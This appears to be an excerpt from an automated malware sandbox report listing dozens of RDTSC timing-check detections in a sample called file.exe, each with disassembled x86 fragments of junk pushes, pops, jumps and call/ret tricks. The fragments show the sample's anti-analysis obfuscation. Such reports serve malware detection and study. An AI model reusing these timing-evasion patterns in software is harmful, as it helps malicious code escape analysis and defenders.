Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58984E second address: 589852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589852 second address: 589856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589856 second address: 589866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F7648782556h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5899A5 second address: 5899AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A11D second address: 58A12C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007F7648782556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538449 second address: 53844F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53844F second address: 538455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590C8F second address: 590CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7648CE84E6h 0x0000000a jmp 00007F7648CE84F9h 0x0000000f popad 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jnp 00007F7648CE84E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590CBF second address: 590CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F764878255Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F990 second address: 58F996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FB1C second address: 58FB20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F644 second address: 58F65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7648CE84F5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F65E second address: 58F665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F665 second address: 58F671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F671 second address: 58F675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F675 second address: 58F695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push ebx 0x00000012 jo 00007F7648CE84E6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F695 second address: 58F69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590331 second address: 59037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648CE84F7h 0x00000009 jnl 00007F7648CE84E6h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F7648CE84EDh 0x00000016 jmp 00007F7648CE84F3h 0x0000001b jnp 00007F7648CE84E6h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59037B second address: 590385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F7648782556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590385 second address: 5903CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84F6h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7648CE84F1h 0x00000012 jmp 00007F7648CE84F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590540 second address: 590562 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7648782566h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F764878255Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jno 00007F7648782556h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5909B4 second address: 5909B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5909B8 second address: 5909C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594C4D second address: 594C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F7648CE84E6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594C5C second address: 594C60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594C60 second address: 594C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594C6E second address: 594C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007F764878255Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550A14 second address: 550A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jnc 00007F7648CE84F3h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F7648CE84E8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D1DE1h], edx 0x0000002d mov edx, ebx 0x0000002f lea eax, dword ptr [ebp+124807DBh] 0x00000035 nop 0x00000036 pushad 0x00000037 push edi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550A66 second address: 550A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550A6E second address: 537982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jg 00007F7648CE84F4h 0x0000000d jmp 00007F7648CE84EEh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F7648CE84E8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d or ecx, 1AED2D21h 0x00000033 jmp 00007F7648CE84EEh 0x00000038 call dword ptr [ebp+122D3140h] 0x0000003e jmp 00007F7648CE84EAh 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push edx 0x00000048 pop edx 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550B9B second address: 550BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550BA1 second address: 550BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551025 second address: 3A3D28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jg 00007F7648782556h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 or cl, FFFFFFB0h 0x00000014 xor edx, dword ptr [ebp+122D2EE6h] 0x0000001a push dword ptr [ebp+122D04A9h] 0x00000020 mov ecx, eax 0x00000022 mov ecx, dword ptr [ebp+122D2CD0h] 0x00000028 call dword ptr [ebp+122D1CC0h] 0x0000002e pushad 0x0000002f mov dword ptr [ebp+122D3A07h], ebx 0x00000035 xor eax, eax 0x00000037 jmp 00007F7648782561h 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 pushad 0x00000041 xor edx, dword ptr [ebp+122D2B68h] 0x00000047 jmp 00007F7648782561h 0x0000004c popad 0x0000004d mov dword ptr [ebp+122D2C74h], eax 0x00000053 cld 0x00000054 mov esi, 0000003Ch 0x00000059 mov dword ptr [ebp+122D3A07h], eax 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 pushad 0x00000064 mov dword ptr [ebp+122D3A07h], ecx 0x0000006a mov esi, 079570A0h 0x0000006f popad 0x00000070 stc 0x00000071 lodsw 0x00000073 cmc 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 mov dword ptr [ebp+122D1CB1h], esi 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jne 00007F764878255Ch 0x00000088 nop 0x00000089 pushad 0x0000008a pushad 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510BF second address: 5510DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510DE second address: 55110A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 54474432h 0x0000000e jmp 00007F7648782564h 0x00000013 push 2221E2EAh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55127E second address: 5512C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F7648CE84E8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov edi, 42E8E2E0h 0x0000002b nop 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5512C4 second address: 5512C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5513C8 second address: 5513D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7648CE84EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5513D7 second address: 55140A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F764878255Ch 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jng 00007F7648782562h 0x0000001c jng 00007F764878255Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551475 second address: 55147F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7648CE84E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55147F second address: 551483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551590 second address: 551594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551594 second address: 55159E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7648782556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55159E second address: 5515C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jg 00007F7648CE84ECh 0x00000010 pop esi 0x00000011 nop 0x00000012 push 00000004h 0x00000014 mov cx, 8C00h 0x00000018 push eax 0x00000019 je 00007F7648CE84F4h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5515C6 second address: 5515CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551DA2 second address: 551DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7648CE84ECh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551DB7 second address: 551DCA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F764878255Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551DCA second address: 551E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F7648CE84E8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D2A8Bh], ebx 0x00000028 xor ecx, 26F0AE1Bh 0x0000002e lea eax, dword ptr [ebp+1248081Fh] 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F7648CE84E8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e or dword ptr [ebp+122D1DE1h], ebx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jng 00007F7648CE84ECh 0x0000005d jnl 00007F7648CE84E6h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E39 second address: 538449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d lea eax, dword ptr [ebp+124807DBh] 0x00000013 add dword ptr [ebp+122D1DE1h], edi 0x00000019 sub dword ptr [ebp+122D1C68h], ecx 0x0000001f push eax 0x00000020 push ebx 0x00000021 jmp 00007F764878255Fh 0x00000026 pop ebx 0x00000027 mov dword ptr [esp], eax 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F7648782558h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 call dword ptr [ebp+122D1DADh] 0x0000004a push eax 0x0000004b push edx 0x0000004c jnp 00007F764878255Eh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59821B second address: 598221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598221 second address: 59824E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F7648782562h 0x0000000d jmp 00007F7648782562h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5984A9 second address: 5984AF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5984AF second address: 5984BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F7648782556h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598A1C second address: 598A27 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F7648CE84E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598B69 second address: 598B6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B907 second address: 59B90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B90B second address: 59B922 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F7648782556h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B922 second address: 59B92B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B92B second address: 59B932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B932 second address: 59B938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BDD5 second address: 59BDDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BDDD second address: 59BDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BDE1 second address: 59BDED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BDED second address: 59BDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0B4 second address: 59E0B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0B8 second address: 59E0D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7648CE84F8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0D9 second address: 59E0DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3BF2 second address: 5A3C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7648CE84F3h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F7648CE84EFh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A33B1 second address: 5A33CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648782567h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A33CD second address: 5A33FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7648CE84F8h 0x0000000a jmp 00007F7648CE84F2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3546 second address: 5A354B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A62E1 second address: 5A62E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A66F5 second address: 5A66FF instructions: 0x00000000 rdtsc 0x00000002 js 00007F7648782556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A66FF second address: 5A674E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F7648CE84F7h 0x00000008 pop edi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F7648CE84E6h 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7648CE84EAh 0x0000001f jmp 00007F7648CE84F9h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A674E second address: 5A6764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6764 second address: 5A6768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6768 second address: 5A6797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7648782568h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC2A2 second address: 5AC2A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AAC27 second address: 5AAC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AAC34 second address: 5AAC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7648CE84E6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F7648CE84F4h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AADF7 second address: 5AADFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AADFE second address: 5AAE22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 je 00007F7648CE84E6h 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F7648CE84F1h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
